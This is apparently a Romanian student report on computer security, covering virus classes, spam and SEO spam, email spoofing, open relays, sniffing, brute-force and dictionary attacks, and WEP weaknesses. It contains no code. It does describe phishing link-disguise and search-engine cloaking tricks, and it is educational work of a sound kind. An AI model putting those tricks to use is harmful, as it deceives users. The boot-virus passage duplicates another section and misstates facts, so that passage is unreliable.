Tinand cont de tinta infectarii, virusii pot fi clasificati in cateva categorii. Unii virusi pot avea mai multe tinte. Acestia sunt denumiti multipartiti.

1 Virusii paraziti: afecteaza fisierele executabile. Virusul este lansat cand fisierul executabil este pornit. Virusii paraziti pot fi:

- Virusi rezidenti in memorie, care pot controla intregul sistem si il pot infecta oricand

- Virusi non-rezidenti, care sunt activati numai la pornirea aplicatiei-gazda.

Intrucat acesti virusi infecteaza fisiere executabile, se pot raspandi prin intermediul oricarui mediu de stocare sau de transfer a datelor: floppy disk-uri, CD-uri, modemuri, retele. Virusii se raspandesc odata cu executarea fisierului-gazda.

2 Virusii de boot: afecteaza fisierele executabile. Virusul este lansat cand fisierul executabil este pornit. Virusii paraziti pot fi:- Virusi rezidenti in memorie, care pot controla intregul sistem si il pot infecta oricand - Virusi non-rezidenti, care sunt activati numai la pornirea aplicatiei-gazda. Intrucat acesti virusi infecteaza fisiere executabile, se pot raspandi prin intermediul oricarui mediu de stocare sau de transfer a datelor: floppy disk-uri, CD-uri, modemuri, retele. Virusii se raspandesc odata cu executarea fisierului-gazda. infecteaza sectorul de sistem a discurilor, sectorul de boot din floppy disk-uri si hard disk-uri. Singura modalitate de replicare a acestor virusi este pornirea sistemului de pe discul infectat. Accesarea sau copierea informatiilor de pe discurile infectate nu sunt operatii riscante atata vreme cat sistemul nu este pornit de pe discul infectat.

Virusii de boot rezida intotdeauna in memorie. Desi majoritatea sunt creati pentru DOS, nu tin cont de sistemul de operare, astfel ca, de fapt, toate computerele sunt vulnerabile in fata acestui tip de virus.

3 Virusii de Master boot: sunt rezidenti in memorie, ca si virusii de boot, dar sunt localizati in sectorul master boot. Acesti virusi vor salva in alta locatie o copie curata a sectorului master boot.

4 Virusii de Macro-uri: sunt plasati intr-unul sau mai multe macro-uri dintr-un document Microsoft Office si utilizeaza funcionalitatile puternice ale Visual Basic for Applications, care a fost creat pentru a permite utilizatorilor sa automatizeze anumite activitati.

5 Virusii de link-uri: nu altereaza fisierele executabile, ci structura de directoare, redirectionand calea directorului unui fisier infectat catre zona in care este localizat virusul. Dupa lansare, virusul poate incarca fisierul executabil, citind calea corecta a directorului fisierului respectiv.

6 Virusii-pereche: creeaza un fisier executabil nou, cu acelasi nume, dar cu extensia .COM. Daca intalneste doua fisiere executabile cu acelasi nume, dar cu extensii diferite (.COM and .EXE), sistemul de operare Windows lanseaza intai fisierul .COM.

7 Virusii ascunsi: rezida intotdeauna in memorie si incearca sa "pacaleasca" sistemul, ascunzandu-si existenta. Virusii ascunsi se multiplica si se comporta astfel incat sa preia controlul asupra datelor si continutului programelor, fara stiinta utilizatorilor sau a programelor anti-virus. Cand sistemul de operare (de exemplu prin comanda DIR) incearca sa afle dimensiunea unui program infectat, virusul ascuns scade o parte din aceste date, egala cu dimensiunea propriului cod, si o inlocuieste cu datele corecte. Astfel, daca programul este doar citit (de un scanner de virusi), dar nu este rulat, codul viral este ascuns si nu poate fi detectat.

8 Virusii criptati: folosesc o tehnica de modificare a propriului cod viral, astfel incat programele anti-virus sa nu-i depisteze. Virusul se auto-converteste in semne criptate, pe care programul anti-virus nu le poate recunoaste. Totusi, pentru a putea sa se raspandeasca, acesti virusi trebuie sa se auto-decripteze si, astfel, pot fi detectati.

9 Virusi specifici:

- Virusul de ActiveX este scris pentru a infecta produsele Microsoft. Utilizeaza un cod incarcat de pe server si se raspandeste in statia locala. Virusul tinteste numai sistemele de operare Microsoft Windows si foloseste Microsoft Internet Explorer pentru a se raspandi.

- Virusul VB script foloseste Visual Basic pentru a aduce codul de pe serverul de Web si a se raspandi in statiile de lucru locale. E suficient sa accesati o pagina de pe Internet pentru a va infecta computerul. In orice caz, virusul de acest tip are nevoie de Microsoft Internet Explorer.

- Virusii de Java: comparative cu Applet-urile Java, folosite in special pentru animatie si control, programele Java pot efectua operatii riscante din punct de vedere al securitatii (ca scrierea pe hard-disk). Au aparut deja atacuri de virusi prin intermediul applet-urilor, dar cei din a doua categorie sunt mult mai periculosi.

Viermii sunt similari virusilor, dar nu au nevoie de un fisier-gazda pentru a se multiplica. Un vierme foloseste sistemul infectat pentru a se replica si utilizeaza comunicarea intre computere pentru a se raspandi. Viermii au o caracteristica comuna si troienilor: nu pot infecta un fisier; ei afecteaza sistemul.

Viermii se pot raspandi prin email (folosind propriul engine SMTP sau un anumit client de mail, de obicei Microsoft Outlook sau Outlook Express), prin fisiere partajate in retea, prin programele de mesagerie instanta sau prin programe de partajare de fisiere, cum este KaZaA.

Programul anti-virus incearca intotdeauna sa recupereze datele din fisierele infectate, dar e vorba numai de acea parte care a ramas intacta, daca fisierele nu au fost complet distruse. Pentru ca programul anti-virus sa functioneze eficient si pentru a pastra toate informatiile de care aveti nevoie si pe care le-ati obtinut cu greu, trebuie sa fiti precauti:

• Scanati intotdeauna atasamentele email-urilor inainte de a le deschide, chiar daca apparent sunt doar fisiere text sau le primiti de la persoane cunoscute;

• Mentineti la zi actualizarile de securitate. Marea majoritatea a virusilor din ziua de azi se bazeaza pe bug-uri de securitate;

• Scanati intotdeauna floppy disk-urile inainte de utilizare si comutati-le in modul write-protect dupa ce transferati datele pe ele;

• Asigurati-va ca v-ati configurat computerul sa porneasca direct de pe hard-disk, nu de pe floppy sau de pe CD-ROM drive;

• Instalati numai programe originale;

• Scanati de virusi toate programele noi;

• Fiti precauti cu macro-urile, in special in cazurile cand nu e nevoie de ele;

• masura de precautie este utilizarea optiunii "read only" pentru toate fisierele din retele;

• Utilizati un program AV original, mentineti-l la zi si solicitati furnizorului de servicii de securitate toate informatiile necesare;

• Nu deschideti fisierele primite pe instant messenger, fara a le scana. Incercati sa intrebati pe cel care v-a transmis fisierul, daca intr-adevar a avut aceasta intentie, deoarece virusii au abilitatea de a se transmite singuri, fara stirea utilizatorului.

Capitolul 3

Programe dedicate publicitatii nedorite pe e-mail si a falsificarii adreselor : Spoofers, Spammers, Servere SMTP dedicate SPAM-ului, Open Relay Servers

POPA ANDREI

The right to be heard does not automatically include the right to be taken seriously. (Hubert H. Humphrey)

3.1 Introducere

Dezvoltarea retelei mondiale a Internetului a creat noi si viabile oportunitati de afirmare pentru cei ce sunt conectati la ea. De la simple opinii pana la dezbateri oficiale si tratate stiintifice, factorul uman este definitoriu pentru informatia care circula pe Internet. Perceput din ce in ce mai mult ca un mediu alternativ pentru majoritatea activitatilor de zi cu zi (divertisment, relatii interpersonale, informare, etc) Internetul a devenit un element esential al propagarii, recomandandu-se ca cea mai la indemana cale de promovare a ideilor si de influentare a maselor.

Interesele financiare, care se contureaza in orice este atractiv pentru om, si-au gasit rapid sursele si metodele in spatiul virtual. Publicitatea de orice fel, promovand produse, servicii si chiar bunuri virtuale, este intr-o competitie acerba pentru acapararea de clienti, deseori sub forma de abonati.

Strategiile de publicitate in Internet pornesc de la simple enunturi in format text, la imagini prezente pe paginile web, hiperlink-uri cu trimitere catre sursa de informare, pana la mesaje prin posta electronica expediate direct utilizatorului.

Ca orice mediu de consum, reteaua mondiala a Internetului este guvernata de legi ce feresc utilizatorul de accesarea sau primirea de informatii cu caracter ilegal sau de interes restrans, sau informatii ne-solicitate de acesta.

3.2 Spam-ul

SPAM-ul defineste abuzul mijloacelor electronice de comunicare, cu scopul de a distribui mesaje nesolicitate. De obicei termenul este atribuit distribuirii de mesaje pe calea postei electronice, insa notiunea de spam include mai mult de atat: spam pe calea mesageriei instant, spam in cadrul grupurilor de stiri, in rezultatele motoarelor de cautare, in cadrul forumurilor de discutii sau in cadrul blogurilor.

Spam-ul distribuit pe calea postei elecronice este de cele mai multe ori cunoscut ca unsolicited bulk email (mesaj in masa nesolicitat) sau unsolicited commercial spam (mesaj comercial nesolicitat).

Majoritatea mesajelor catalogate „spam” au caracter comercial, facand referire la produse sau servicii, oferte speciale sau abonarea contra-cost la site-urile pe care le promoveaza.

Adresele de email la care este trimis mesajul nesolicitat sunt extrase de pe site-uri cu continut public, unde datele utilizatorilor inscrisi sunt vizibile. Majoritatea site-urilor au o politica de aderare prin care viitorul utilizator semneaza o polita conform careia este de acord cu primirea de oferte sau noutati pe adresa sa de email, din partea celui cu care a semnat acordul.

Pot interveni situatii in care alte site-uri, afiliate primului, trimit mesaje utilizatorului, care nu a aderat in mod direct la acestea din urma. Este unul din cazurile in care severele firmelor ce ofera servicii de posta electronica actioneaza diferit, fie catalogand expeditorul ca spam, fie acordand credit acestora si oferind pe baza anumitor criterii (de subdomeniu comun, de politica similara) posibilitatea de a trimite mesajele in Inbox-ul destinatarului.

Un studiu realizat pe o perioada de 6 luni de catre Center of Democracy and Technology prezinta printre altele o statistica referitoare la modul de obtinere al adreselor de posta electronica la care sunt trimise mesaje nesolicitate:

[pic]

Se observa conform diagramei ca marea majoritate a spam-ului prin intermediul postei electronice se datoreaza publicarii adreselor de email pe site-uri accesibile oricarui utilizator al internetului. Colectarea adreselor se face folosind soft-uri dezvoltate in acest scop, numite Spam Bots (roboti pentru spam) care intocmesc liste cu adrese de mail. Versiunile noi de spam bots clasifica adresele colectate in functie de specificul site-ului de pe care au fost extrase acestea pentru a expedia un continut care sa corespunda pe cat posibil domeniului de interes al unui anumit destinatar.

O alta metoda de manifestare a ceea ce se numeste spam este data de continutul paginilor web si tehnicile la care administratorii unor site-uri recurg pentru a aparea in rezultatele motoarelor de cautare si a aduce navigarea pe paginile dorite de acestia. In cele mai multe dinre cazuri acestea se dovedesc a fi pagini total diferite ca si continut fata de ceea ce este prezentat in descrierea sumara a rezultatului din motorul de cautare, realizand asa-numitul SEO Spam. (SEO – Search Engine Optimization)

SEO Spam-ul include o multitudine de metode si tehnici ce sunt permanent imbunatatite si schimbate din cauza update-urilor facute de administratorii motoarelor de cautare, update-uri menite sa elimine din rezultatele cautarii paginile ce prezinta simptomele spam-ului.

Metodele de realizare ale SEO Spam-ului sunt:

• Textul menit sa apara in motoarele de cautare este ascuns pe pagina prin utilizarea aceleiasi culori atat pentru caractere cat si pentru fundal (ex. alb pe alb , negru pe negru). Textul este ascuns fiindca observarea lui de catre vizitatorul paginii are efecte negative in credibilitatea site-ului. Motoarele de cautare moderne ca Google elimina din rezultate site-urile care folosesc acest tip de spam, prin analiza codului HTML si implicit a culorilor folosite pentru text si fundal.

• Link farm (ferma de legaturi) defineste o retea de site-uri care redirecteaza vizitatorul catre o anumita pagina, comuna. Aceste legaturi multiple sunt luate in evidenta separat de catre motorul de cautare, rezultand in afisarea multor rezulate catre acelasi punct.

• Cuvinte cheie sau tag-uri (etichete) fara legatura cu informatia publicata. Un articol sau un continut dinamic care prezinta sub titlu cuvinte cheie de larg interes si cautare dar fara legatura cu restul informatiilor sau imaginilor poate fi considerat spam si exclus din motoarele de cautare.

• Duplicarea site-urilor. Copii identice ale unui site gazduite pe alte domenii sunt sanctionate in Google cu stergerea definitiva din lista de rezultate a respectivelor adrese web.

• Fontul de dimensiuni foarte mici, imposibil de citit poate fi considerat un mijloc de spam, dat fiind ca textul poate descrie cu totul alte materiale sau informatii decat cele prezentate in paginile unde este prezent si poate constitui un fals rezultat in motorul de cautare.

• IP Spam. Este o tehnica moderna de spam ce pune in prezent probleme serioase administratorilor motoarelor de cautare. Metoda consta in detectarea adresei IP a vizitatorului si generarea continutului in functie de aceasta adresa. Astfel scriptul permite afisarea unui anumit continut in cazul in care este detectata adresa IP a serverului de pe care functioneaza sistemul de indexare al Google, un continut adecvat si atractiv in topul cautarilor. Detectand o adresa care nu apartine niciunei clase de IP-uri nedorite scriptul genereaza continutul dorit de initiatorul spam-ului, cu reclamele si linkurile aferente. Aceasta tehnica poate fi greu detectata de catre search bots (robotii de cautare), ea este raportata de cele mai multe ori de catre vizitatorii ce au descoperit un continut total diferit de cel prezent in rezultatul cautarii.

• Pagini Doorway. Sunt paginile in care este prezent cod si continut preferat de robotii de spam, asadar sunt pagini menite sa atraga vizitatori virtuali. Fiecare accesare pe care un spam bot o face, nu se poate considera altfel decat o incrementare a numarului de vizitatori deci scopul este din nou atins.

Cele mai ingenioase tactici folosite de catre spammeri sunt intalnite in URL Spam si sunt cea mai directa cale catre pagina tinta. URL Spam-ul consta in modificarea legaturii hipertext astfel incat aceasta sa apara ca descriind cu totul alta destinatie. Printre tehnicile de URL Spam se numara:

• Adresa IP zecimala. Des intalinta sub forma unei adrese de mail gen exemplu@123456789, nu este altceva decat o adresa IP pe care sistemul o recunoaste, cu singura deosebire ca aceasta este reprezentata in zecimal. Conversia acesteia in hexazecimal urmata de impartirea in grupuri de cate 2 cifre si reconvertirea lor 2 cate 2 in zecimal va scoate la iveala adresa de IP in reprezentarea standard.

• Adresa in hexazecimal. Metoda similara cu adresa in zecimal. Usor detectabila prin prezenta obligatorie a caracterelor “0x” la inceput.

• “Escaping”. Metoda prin care URL-ul este convertit intr-un format recunoscut de browser astfel incat fiecare litera a adresei apare sub forma semnului % urmat de o valoare in hexazecimal.

Ex "...". se poate observa ca in bara de status a browserului, sirul din exemplul de mai sus este convertit si afisat normal.

• In browserele dezvoltate, username-ul si parola pentru autentificarea la unele site-uri pot fi transmise prin adresa URL. Astfel o adresa de genul realizeaza autentificarea in cadrul cu numele de utilizator “username” si parola “password”. Spam-erii se folosesc de aceasta facilitate si creaza pe site-urile tinta conturi cu nume de utilizator convenabil pacalirii victimei. O autentificare cu numele „” si parola „software” pe site-ul malitios se poate transcrie sub forma de hiperlink in , o adresa indeajuns de bine pusa la punct pentru a insela chiar si o persoana in cunostinta de cauza dar neatenta.

• Utilizarea scriptului java face posibila afisarea in bara de status a unui link total diferit de catre cel la care browserul va fi directionat. Este folosit in special pentru hiperlink-urile aplicate imaginilor. Astfel, pozitionand cursorul mouse-ului asupra unei imagini care ne va trimite la adresa se poate afisa in bara de status o cu totul alta adresa (ex ) sau un text (ex Free Drivers Download)

Celelalte ramuri ale spam-ului au la baza una din cele 3 tipuri principale prezentate mai sus. Fie ca adresele de email sunt colectate din forumuri de conversatii sau grupuri de stiri, fie ca link-urile sunt trimise prin mesageria instant urmate de descrieri atractive, fenomenul spam-ului se propaga prin orice poarta deschisa comunicarii publice.

O prima privire asupra beneficiilor rezultate in urma spam-ului nu poate constata decat permanenta dorinta de atragere a vizitatorilor. In realitate, ceea ce are relevanta pentru administratori nu este cota de popularitate a site-ului ci numarul de vizitatori in sine, numar care se traduce in venituri de pe urma reclamelor afisate pe site. Cum vizitatorii ajung involuntar pe site-ul promovat prin spam, nu se poate vorbi de o fidelizare a acestora, asadar se pune in permanenta problema atragerii noilor vizitatori, elementul cel mai important. Asemeni unei firme pentru care factorul important si definitoriu este cifra de afaceri, numarul de vizitatori unici este indicatorul esential. Spam-ul ofera, prin natura sa, cel mai mare procent de vizitatori unici din numarul total de vizitatori pe parcursul unei zile.

Daca precautiile in cazul URL Spam-ului si SEO Spam-ului pot fi luate numai de catre cei care recunosc unele elemente sau cei care intuiesc din experienta posibila directionare falsa, primirea spam-ul prin e-mail poate fi prevenita si diminuata usor de catre orice utilizator al Internetului. Astfel, in cazul necesitatii publicarii adresei personale de e-mail pe un site accesibil oricui, se poate recurge la mutilarea adresei din „email@” in „email [at] ”, forma pe care robotii de spam nu o cauta, fiindca nu contine simbolul “@”. O alta metoda de publicare a adresei de posta electronica este cea printr-o imagine care ilustreaza textul email@ ce nu poate fi inregistrata de softurile cu caracter spam fiindca nu apare sub forma de caractere.

3.3 Spoofing

Spoofing-ul se refera la mesajele email care aparent sunt trimise dintr-o anumita sursa dar care provin defapt de la o alta adresa. Scopul spoofing-ului este de a trimite mesaje cu o adresa de expeditie falsa si sub un nume fals, pentru ca expeditorul sa nu poata fi urmarit.

Deseori spoofing-ul este folosit in asa numitul “social engineering” (inginerie sociala). Acest termen este asociat incercarilor de inselare a destinatarului pentru a obtine informatii cu caracter personal, ca de exemplu mesaje din partea bancii solicitand PIN-ul cardului si datele clientului pe motivul reorganizarii bazei de date.

O actiune de spoofing bine organizata directioneaza utilizatorul catre o pagina care copiaza bine interfata site-ului original, insa colecteaza informatiile de autentificare spre folosirea lor neautorizata.

Programele create in scopul spoofing-ului folosesc metode de la cele mai simple si usor detectabile pana la cele care nu lasa foarte multe urme, greu de depistat.

Tehnica de baza in spoofing consta in modificarea numelui expeditorului si a adresei acestuia. Multe dintre soft-urile dedicate spoofing-ului se opresc aici desi acesti pasi se pot face foarte usor si in aplicatia Outlook Express oferita de Windows, prin modificarea a doua campuri. Fiind o metoda usor de realizat este totodata si o metoda usor de depistat. Studiind datele de header ale mesajului primit se poate identifica foarte usor adevarata adresa de la care s-a facut expedierea, precedata de termenii “Received: from ...“. Se poate aplica numai in cazul serverelor SMTP (Simple Mail Transfer Protocol) care nu necesita autentificare

3.4 Open Relay Servers

Metodele avansate de spoofing se folosesc de servere cu legaturi deschise (Open Relay Servers). In acest caz, header-ul mesajului electronic nu mai arata efectiv adresa de la care s-a expediat mail-ul, ci doar o adresa SMTP a unui server ce a intermediat expedierea. In marea lor majoritate sunt sisteme pe care instalarea si configurarea serverului de email a fost facuta gresit sau incomplet, lasand anumite brese. Aceste brese permit legaturi email de tip terta-parte (third-party) intre spammer si destinatar, prin intermediul serverului in care apar, in mod neautorizat si fara stiinta utilizatorului local.

[pic]

Inainte de putea stabili serverul victima care intermediaza expedierea, spammerii scaneaza adrese IP, la intamplare sau cunoscand un interval de IP-uri ce poate returna mai multe rezultate, pentru a detecta porturile deschise specifice unui server de mail unde se poate face infiltrarea.

La nivelul serverelor vulnerabile si expuse spoofing-ului se pot produce defectari sau intreruperi in functionare – DDoS (Distributed Denial of Service) - , pierdere a datelor stocate si cel mai probabil catalogarea ca Spam din cauza continutului mesajelor pe care le intermediaza. Toate acestea aduc prejudicii financiare majore firmelor care le detin. Restaurarea si repunerea lor in functionarea normala necesita mult timp si costuri considerabile la care se adauga pierderile din imposibilitatea de primire a email-urilor pe toata perioada dintre atac si finalizarea reparatiilor.

Aceste servere expuse spoofing-ului care permit propagarea spam-ului, se numesc SPAM Servers (Servere de Spam). Ultimele rapoarte arata ca peste 70% dintre serverele de spam se afla pe teritoriul Chinei.

Odata ce sunt detectate ca fiind servere de spam, adresele lor sunt clasificate si publicate in liste de spam, in functie de metodele si modul de manifestare al fiecaruia. Printre cele mai ample liste de Spam Server se numara:

- RBL Realtime Blackhole List - toate serverele din aceasta lista pot fi catalogate direct ca spam.

- RSS Relay Spam Stopper – lista cu servere cunoscute ca fiind Open Relay, care accepta email din partea oricarui utilizator si permit trimiterea catre orice utilizator.

- SBL Spamhaus Block List – o baza de date care indexeaza in timp real adrese IP din surse verificate de spam.

- Brightmail – este un sistem ale carui reguli si metode de detectare a spam-ului sunt mereu imbunatatite, poate fi considerat un pionier in descoperirea noilor servere de Spam. Sistemul este sub administrarea Symantec, care opereaza prin intermediul unui “centru de spam” 24 de ore pe zi, trimitand rezultatele permanent sistemului de filtrare Brightmail.

Pentru a creste rata de succes a spam-ului, atacatorii se folosesc deseori de aplicatii tip Trioan sau Virus care, odata ce-si gasesc o gazda intr-un sistem, ruleaza un proces ce trimite mesajele malitioase serverelor de spam. Astfel se face o automatizare a procesului de spam si totodata introducerea unui intermediar intre atacator si server, intermediar ce face si mai dificila gasirea sursei mesajelor.

[pic]

3.5 Bibliografie

Informatiile care descriu detalii pur tehnice, elementele grafice si referirile la studii si statistici au fost culese din:



















Exlicatiile metodelor SEO Spam-ului si implicatiile acestora, cat si concluziile exprimate de-a lungul referatului sunt consecinte ale experientei proprii in activitatea de web design si web development.

Capitolul 4

Atacuri asupra retelelor wired si wireless : Sniffere, Placi de retea cu „Promiscuous Mode” (MAC Nedefinit), Interceptare, Atacuri Brute-Force, Spargerea criptarii WEP pe wireless, Flooding

RADU CRISTIAN

4.1. Introducere

Securitatea in retele de calculatoare incepe sa fie din ce in ce mai mult luata in serios in ultima perioada. Motivul pentru aceasta tendinta este bineinteles numarul mare de atacuri. Ca exemplu, in Statele Unite, timpul mediu de atac al unui calculator care nu este protejat este de doua ore. In afara de faptul ca numarul de atacuri a crescut ingrijorator de mult in ultima perioada, informatia digitala devine din ce in ce mai valoroasa pentru un atacator (numere de carti de credit, informatii confidentiale, tranzactii bancare) astfel incat acesta este dispus sa investeasca mai mult timp si bani pentru a capata acces la aceste informatii. Solutia folosita pana nu de mult, era ``baricadarea'' informatiilor confidentiale in fortarete impenetrabile pentru oricine. Astfel, era comun pentru o companie mare sa pastreze informatiile confidentiale pe un mainframe la care accesul se putea face doar din sala de terminale. Mai tarziu, au aparut retele de calculatoare locale, dar ele erau izolate de exterior, astfel incat securitatea in acele retele de calculatoare se implementa printr-o politica extrem de severa de pedepsire a celor vinovati (concedierea sau intentarea unui proces celui vinovat erau masurile cele mai des folosite). O data cu aparitia Internetului insa, lucrurile s-au schimbat. Companiile au inceput sa isi dea seama de avantajele folosirii Internetului ca piata de desfacere (e-bussiness), sau ca mijloc de comunicare cu alte companii pentru a oferi servicii complete clientului (bussiness to bussiness). Din acel moment insa, retelele de calculatoare au incetat sa mai fie forturi impenetrabile, trebuind sa-si deschida portile astfel incat compania sa poata ramane competitiva.

Implementarea securitatii intr-o retea de calculatoare cuprinde trei aspecte importante: confidentialitatea, integritatea si disponibilitatea. Confidentialitatea reprezinta calitatea unei retele de a asigura accesul la informatie doar persoanelor autorizate. Integritatea garanteaza faptul ca informatia nu a fost modificata de persoane neautorizate. Disponibilitatea poate fi definita ca timpul in care reteaua de calculatoare si resursele din cadrul ei sunt operationale.

Pentru fiecare din aceste aspecte ale securitatii retelelor de calculatoare exista atacuri, astfel incat securizarea unei retele de calculatoare trebuie sa implementeze fiecare din aceste aspecte, ceea ce nu este un lucru trivial. Cel care o implementeaza se confrunta cu probleme complexe:

identificarea, autorizarea si monitorizarea activitatii utilizatorilor

securizarea perimetrului retelei

asigurarea confidentialitatii si integritatii datelor

monitorizarea retelei

managementul echipamentelor si infrastructurii de securitate.

Exista doua cauze majore ce pot constitui amenintari pentru o retea de calculatoare, chiar dupa ce a fost implementata o politica de securitate corecta: vulnerabilitati (probleme cauzate de tehnologie) si o configurare necorespunzatoare. Vulnerabilitatile sunt probleme ale sistemelor de operare, protocoalelor TCP/IP, dispozitivelor de retea prin care un atacator poate accesa reteaua fara a respecta politica de securitate implementata.

Chiar daca vulnerabilitatile sunt problemele cele mai grave si mai greu de controlat, trebuie insa notat ca cele mai multe probleme apar datorita configurarii incorecte sau definirii unei politici de securitate necorespunzatoare.

4.2. Atacuri asupra retelelor de calculatoare

Atacurile asupra unei retele de calculatoare pot fi clasificate in atacuri interne sau externe si in atacuri structurate sau nestructurate. Atacurile externe sunt efectuate din afara organizatiei (din punctul de vedere al retelei). Atacurile interne sunt efectuate din reteaua organizatiei. Aceste atacuri sunt extrem de eficiente, pentru ca, in general, odata patruns intr-un segment al retelei organizatiei este usor sa se obtina acces in alte segmente ale acesteia. Putine organizatii folosesc dispozitive de securitate in cadrul retelei interne.

Atacurile nestructurate sunt atacurile care sunt initiate de indivizi neexperimentati ce utilizeaza exploit-uri disponibile pe Internet. Exploit-urile sunt programe ce exploateaza vulnerabilitatile pentru a ocoli politica de securitate implementata intr-o retea.

Chiar daca de cele mai multe ori aceste atacuri nu vor decat sa dovedeasca capacitatile de hacker ale unui individ, ele pot produce pagube materiale sau morale. Ca exemplu putem lua unul din multele cazuri in care site-ul web al organizatiei a fost spart, si au fost postate mesaje triviale sau care au diminuat imaginea organizatiei. Pe de alta parte, atacurile structurate sunt initiate de indivizi mult mai bine motivati si cu cunostinte tehnice competente. Acesti indivizi cunosc vulnerabilitati de sistem si le pot folosi pentru a capata acces in retea, pot detecta noi vulnerabilitati de sistem si pot dezvolta cod si scripturi pentru a le exploata.

Un atac trece in general prin trei faze: faza de recunoastere, faza de obtinere a accesului si (eventual) faza in care sistemele compromise sunt folosite pentru a ataca alte retele. Faza de obtinere de acces poate eventual fi formata din doua etape: una in care atacatorul obtine acces in cadrul retelei pe una din masinile din retea prin exploit-uri de la distanta si faza in care, daca este cazul, obtine acces privilegiat pe masina respectiva cu ajutorul unor exploit-uri locale.

Una dintre cele mai sigure metode de obtinere a accesului privilegiat este a sparge parola. Acest lucru presupune ca atacatorul are deja acces pe o masina din retea si doreste acces privilegiat (root, Administrator).

4.2.1. Atacul in forta (“Brute-Force”)

Multe sisteme criptografice nu au puncte vulnerabile cunoscute (cel putin pana acum); in aceasta situatie singura modalitate ramane un astfel de atac care consta in incercarea tuturor codurilor posibile, a combinatiilor sau a cheilor pentru a gasi pe cea corecta si a decripta mesajul.

Acest mod de lucru se dovedeste foarte dificil in multe cazuri datorita mai multor factori:

• lungimea cheilor;

• cate valori pot lua cheile;

• cat va dura derularea incercarilor.

O intrebare naturala care se ridica este: cat va dura un astfel de atac? Raspunsul depinde nu numai de factorii enuntati anterior (lungimea cheilor si spatiul valorilor posibile) ci si de puterea de calcul disponibila atacatorului (sau criptanalistului). Deoarece atunci cand proiectam un sistem criptografic, dorim sa-l facem utilizabil pentru multi ani, trebuie sa estimam evolutia puterii de calcul. Ajutorul vine din partea lui Gordon Moore, unul din fondatorii firmei Intel, care a estimat ca viteza de calcul se dubleaza la fiecare 18 luni (iar costul se injumatateste). Aceasta estimare s-a dovedit reala si a devenit cunoscuta ca ”legea lui Moore”.

Un astfel de atac presupune trecerea prin tot spatiul cheilor fara a selecta in vreun fel cheile neobisnuite care nu merita testate; in acest sens exista atacuri care folosesc diferite tipuri de selectii (a se vedea atacul de tip dictionar). Atacul in forta garanteaza acoperirea tuturor posibilitatilor si deci in final un succes (abstractie facand de timpul necesar!)

4.2.2. Atacul de tip dictionar

Atacul de tip dictionar este o metoda criptanalitica in care atacatorul pregateste si memoreaza un tabel cu corespondente text clar-text criptat de tipul perechilor (PiCi=EKi(P),Ki) sortate dupa Ci; pentru textele in clar se folosesc cuvinte foarte probabile (exemple: parola, login), iar cheile acopera toate variantele posibile.

Ulterior atacatorul monitorizeaza comunicatia si in momentul in care va gasi un text criptat Cj care se regaseste in tabelul sau va gasi imediat cheia de criptare Kj.

Acest termen de atac de tip dictionar se mai foloseste si in domeniul gasirii parolelor, cu o semnificatie putin diferita; in acest caz el se dovedeste destul de eficient (mai eficient decat un atac in forta) in special in cazul incercarilor de a gasi parole de acces (tendinta este de a folosi cuvinte pentru parole); in cazul sistemelor care folosesc fraze in locul cuvintelor cu rol de parola eficienta atacului devine neglijabila. In practica se folosesc doua metode pentru a mari eficienta atacului:

• prima metoda recomanda folosirea mai multor dictionare care maresc sansa de a gasi parola corecta (dictionare de limbi straine, tehnice, etc.);

• a doua metoda recomanda operatiuni asupra sirurilor de caractere din dictionar: testarea cuvintelor scrise pe dos (parola – alorap), inlocuirea unor litere cu cifre (ex: p4ar0la), folosirea unor litere mari (ex: parola – Parola, PAROLA).

4.2.3. IP spoofing

IP spoofing este o metoda de atac, dar poate fi folosita si pentru a ascunde identitatea atacatorului sau pentru a lansa atacuri. Prin acest atac, pachetele TCP/IP sunt manipulate, falsificand adresa sursa. In acest mod atacatorul poate capata acces atribuindu-si o identitate (adresa de IP) care are autorizare sa acceseze resursa atacata. Datorita falsificarii adresei sursa a pachetului IP, atacatorul nu poate stabili decat o comunicatie unidirectionala (presupunand ca nu este prezent in reteaua locala a masinii atacate). Acest lucru face protocolul TCP nesusceptibil pentru asemenea atacuri. Exista insa numeroase servicii UDP care pot fi exploatate cu acest tip de atac.

4.2.4. IP sniffing

Interceptarea retelei (IP sniffing) este o metoda de monitorizare a datelor care circula printr-o interfata de retea – se pot detecta parole transmise necriptate. Atacul provine din interior. Pentru retele de viteza mare (100 M/s) unele pachete nu pot fi captate de sniffer. Software-ul interceptor trebuie supravegheat. Exemple: tcpdump, Wireshark.

4.2.5. Promiscuous mode

Dupa cum se stie placile de retea, cum sunt cele Ethernet, captureaza la nivelul data-link doar frame-urile adresate lor sau cele de broadcast. De aceea pentru a captura toate frame-urile, exista programe care reusesc sa treaca interfata intr-un mod special de lucru, numit promiscuous mode. Tcpdump este un astfel de program destinat monitorizarii traficului in retea si achizitionarii de date. A fost initial dezvoltat de un grup de cercetare in cadrul Lawrence Berkeley National Laboratory al Universitatii din California in iunie 1992.

4.2.6. Atacul de tip flood

Atacul flood se constituie din trimiterea intentionata sau neintentionata a unui numar mare de pachete IP catre o anumita destinatie din reteaua Internet si are ca scop blocarea accesului respectivei destinatii la reteaua Internet.

4.3. Metode de securizare a retelelor Wireless

In ce masura este posibila dezvoltarea unei retele wireless LAN securizata pe baza tehnologiilor din ziua de astazi? Aceasta problema preocupa, in ultimul timp, tot mai mult persoanele din cadrul departamentelor IT, ale caror eforturi de dezvoltare au fost stopate din cauza problemelor referitoare la securitate.

4.3.1. Wired Equivalent Privacy (WEP)

WEP, primul algoritm de securizare a retelei wireless, este relativ slab din punct de vedere al valorii, in cadrul multor produse si nu e recomandat spre folosire, decat in cazuri de forta majora. WEP prezinta multe dezavantaje; unul dintre cele mai frecvente referindu-se la optiunile de administrare.

Fiecarui utilizator ii este asociata o cheie, un anumit cod de transmisie. Ulterior, oricine cunoaste acest cod secret poate accesa informatiile in locul userului titular, compromitand securitatea retelei si a datelor personale. In urma verificarilor realizate de-a lungul a mai multor ani, se estimeaza ca modalitatile de recuperare a acestor "key access" de catre hackeri va deveni un lucru foarte des intalnit.

Succesorul optiunii WEP il constituie algoritmul WPA (Wi-Fi Protected Access) si reprezinta un pas inainte in conditiile in care este combinata cu protocolul de autentificare 802.1X. In scopul asigurarii unei securitati cat mai mari, multi operatori au incorporat in definitia de high security, un proces de selectare a acestor coduri de acces mai lungi decat dimensiunea standard de 104 biti. Aceste aspecte au si puncte pozitive gandindu-ne la faptul ca este greu de crezut ca se va gasi cineva sa incerce "spargerea" unui astfel de cod. Solutia WEP nu este asadar cea mai buna solutie daca luam in calcul securitatea unei retele wireless.

4.3.2. WPA (Wi-Fi Protected Access)

